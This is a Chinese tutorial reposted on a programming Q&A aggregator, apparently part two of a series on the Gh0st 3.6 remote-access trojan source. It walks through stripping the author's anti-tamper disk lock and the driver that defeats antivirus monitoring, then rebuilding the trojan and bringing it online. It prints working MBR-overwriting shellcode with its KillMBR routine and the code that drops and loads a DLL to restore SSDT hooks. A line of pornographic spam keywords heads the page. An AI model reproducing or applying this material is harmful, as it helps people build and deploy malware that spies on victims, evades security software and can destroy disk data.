日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Gh0st源码学习(二)去除硬盘锁和驱动

發(fā)布時間:2024/4/11 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Gh0st源码学习(二)去除硬盘锁和驱动 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、去除硬盤鎖
? GH0st硬盤鎖是源碼的作者為了保護(hù)版權(quán)而設(shè)置的,如果我們直接更改版權(quán)會造成硬盤被鎖
? 中了硬盤鎖的后果是非常嚴(yán)重的,特別是你電腦里有重要數(shù)據(jù)的時候,這樣會導(dǎo)致你電腦里的數(shù)據(jù)全部丟失!
?? 1、搜索 ?? unsigned char scode[] =
??? 位置:\Gh0st3.6原版\gh0st\gh0st.cpp(220):unsigned char scode[] =
????
?/* 硬盤鎖? 代碼位置 1
? 開始位置??
/
// CGh0stApp message handlers

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
?? ?HANDLE hDevice;
?? ?DWORD dwBytesWritten, dwBytesReturned;
?? ?BYTE pMBR[512] = {0};
?? ?
?? ?// 重新構(gòu)造MBR
?? ?memcpy(pMBR, scode, sizeof(scode) - 1);
?? ?pMBR[510] = 0x55;
?? ?pMBR[511] = 0xAA;
?? ?
?? ?hDevice = CreateFile
?? ??? ?(
?? ??? ?"\\\\.\\PHYSICALDRIVE0",
?? ??? ?GENERIC_READ | GENERIC_WRITE,
?? ??? ?FILE_SHARE_READ | FILE_SHARE_WRITE,
?? ??? ?NULL,
?? ??? ?OPEN_EXISTING,
?? ??? ?0,
?? ??? ?NULL
?? ??? ?);
?? ?if (hDevice == INVALID_HANDLE_VALUE)
?? ??? ?return -1;
?? ?DeviceIoControl
?? ??? ?(
?? ??? ?hDevice,?
?? ??? ?FSCTL_LOCK_VOLUME,?
?? ??? ?NULL,?
?? ??? ?0,?
?? ??? ?NULL,?
?? ??? ?0,?
?? ??? ?&dwBytesReturned,?
?? ??? ?NULL
?? ??? ?);
?? ?// 寫入病毒內(nèi)容
?? ?WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
?? ?DeviceIoControl
?? ??? ?(
?? ??? ?hDevice,?
?? ??? ?FSCTL_UNLOCK_VOLUME,?
?? ??? ?NULL,?
?? ??? ?0,?
?? ??? ?NULL,?
?? ??? ?0,?
?? ??? ?&dwBytesReturned,?
?? ??? ?NULL
?? ??? ?);
?? ?CloseHandle(hDevice);

?? ?ExitProcess(-1);
?? ?return 0;
}
? 結(jié)束位置
*/
???
?? 2、再搜索這個:
?? void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
?? 位置:\Gh0st3.6原版\gh0st\BuildView.cpp(152):void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)?
??
?/*? 去除硬盤鎖 代碼位置 2

? 開始處

?? ??? ?OnEnableHttp();
?? ??? ?char?? ?strVer[10];
?? ??? ?char?? ?strTitle[10];

?? ??? ?strVer[0] = 'C';
?? ??? ?strVer[1] = '.';
?? ??? ?strVer[2] = 'R';
?? ??? ?strVer[3] = 'u';
?? ??? ?strVer[4] = 'f';
?? ??? ?strVer[5] = 'u';
?? ??? ?strVer[6] = 's';
?? ??? ?strVer[7] = ' ';
?? ??? ?strVer[8] = 'S';
?? ??? ?strVer[9] = '\0';

?? ??? ?strTitle[0] = 'G';
?? ??? ?strTitle[1] = 'h';
?? ??? ?strTitle[2] = '0';
?? ??? ?strTitle[3] = 's';
?? ??? ?strTitle[4] = 't';
?? ??? ?strTitle[5] = ' ';
?? ??? ?strTitle[6] = 'R';
?? ??? ?strTitle[7] = 'A';
?? ??? ?strTitle[8] = 'T';
?? ??? ?strTitle[9] = '\0';

?? ??? ?CString str;
?? ??? ?GetDlgItemText(IDC_STATIC_VER, str);
?? ??? ?if (str.Find(strVer) == -1)
?? ??? ??? ?((CGh0stApp *)AfxGetApp())->KillMBR();

?? ??? ?GetParent()->GetWindowText(str);
?? ??? ?if (str.Find(strTitle) == -1)
?? ??? ??? ?((CGh0stApp *)AfxGetApp())->KillMBR();
?? ?結(jié)束處
?? ?*/
???
?? 編譯成功!

二、去除驅(qū)動文件
現(xiàn)在利用驅(qū)動程序在ring0態(tài)恢復(fù)SSDT HOOK(鉤子),使部分安全軟件的主動防御和監(jiān)控失效的功能已經(jīng)被很多殺軟主動攔截或者驅(qū)動文件本身對于殺軟已經(jīng)失效,所以我們得去除掉這個驅(qū)動文件了。去除sys文件無非就是把調(diào)用了這個功能的地方注釋掉就可以了,然后再去除sys的資源調(diào)用,就不會再加載驅(qū)動恢復(fù)SSDT了
1、先搜索ResetSSDT,然后把搜索到的全注釋掉 10處? 這里要從根文件夾搜索
1-5 處 位置: \Gh0st3.6原版\Server\install\install.cpp(439):bool ResetSSDT(HMODULE??? hModule)
?/*
去除驅(qū)動文件 代理位置 1-5/10

? 開始位置?

bool ResetSSDT(HMODULE?? ?hModule)
{
?? ?typedef bool (__stdcall * LPResetSSDT)();
?? ?bool?? ?bRet = true;
?? ?char?? ?strTmpPath[MAX_PATH];
?? ?char?? ?strDllPath[MAX_PATH];

?? ?GetTempPath(sizeof(strTmpPath), strTmpPath);
?? ?GetTempPath(sizeof(strDllPath), strDllPath);
?? ?wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount());

?? ?try
?? ?{
?? ??? ?ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL);

?? ??? ?HMODULE?? ?hDll = LoadLibrary(strDllPath);
?? ??? ?if (hDll == NULL)
?? ??? ?{
?? ??? ??? ?throw "";
?? ??? ?}

?? ??? ?LPResetSSDT?? ?ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
?? ??? ?if (ResetSSDT == NULL)
?? ??? ??? ?throw "";
?? ??? ?ResetSSDT();
?? ??? ?FreeLibrary(hDll);
?? ??? ??? ?
?? ?}catch(...)
?? ?{
?? ??? ?bRet = false;
?? ??? ?DeleteFile(strDllPath);
?? ?}
?? ?
?? ?return bRet;
}

? 結(jié)束位置
*/
???
2、第 6/10處
\Server\install\install.cpp(581):??? ResetSSDT(hInstance);
?//? 除去 驅(qū)動文件 位置 6/10
//?? ?ResetSSDT(hInstance);
???
3、\Gh0st3.6原版\Server\svchost\svchost.cpp(11):#include "common/resetssdt.h"
?//除去驅(qū)動代碼位置 7/10
//#include "common/resetssdt.h"
???
4、\Gh0st3.6原版\Server\svchost\svchost.cpp(24):extern "C" __declspec(dllexport) bool ResetSSDT();
?//除去驅(qū)動代碼位置 8/10
//extern "C" __declspec(dllexport) bool ResetSSDT();
5、\Gh0st3.6原版\Server\svchost\svchost.cpp(83):??? ??? ResetSSDT();
?//除去驅(qū)動代碼位置 9/10
//?? ??? ?ResetSSDT();
6、\Gh0st3.6原版\Server\svchost\svchost.cpp(222):extern "C" __declspec(dllexport) bool ResetSSDT()
?//除去驅(qū)動代碼位置 10/10
/*
extern "C" __declspec(dllexport) bool ResetSSDT()
{
?? ?return RestoreSSDT(CKeyboardManager::g_hInstance);
}
*/
7、注釋掉資源調(diào)用
搜這句話? IDR_SYS?
位置 :\Gh0st3.6原版\Server\svchost\svchost.rc(29):IDR_SYS???????????????? BIN???? DISCARDABLE???? "..\\sys\\RESSDT.sys"
?//注釋? 驅(qū)動 資源文件
//IDR_SYS???????????????? BIN???? DISCARDABLE???? "..\\sys\\RESSDT.sys"
?再刪除svchost files 工程中的?? RESSDT.sys

8、在文件夾中的工程 中? 搜索:resetssdt.h
刪除!

最后就是再編譯一次!!!
清除垃圾文件!
測試上線! 目錄中多一個BIN目錄,中就Gh0st的運(yùn)行程序

總結(jié)

以上是生活随笔為你收集整理的Gh0st源码学习(二)去除硬盘锁和驱动的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。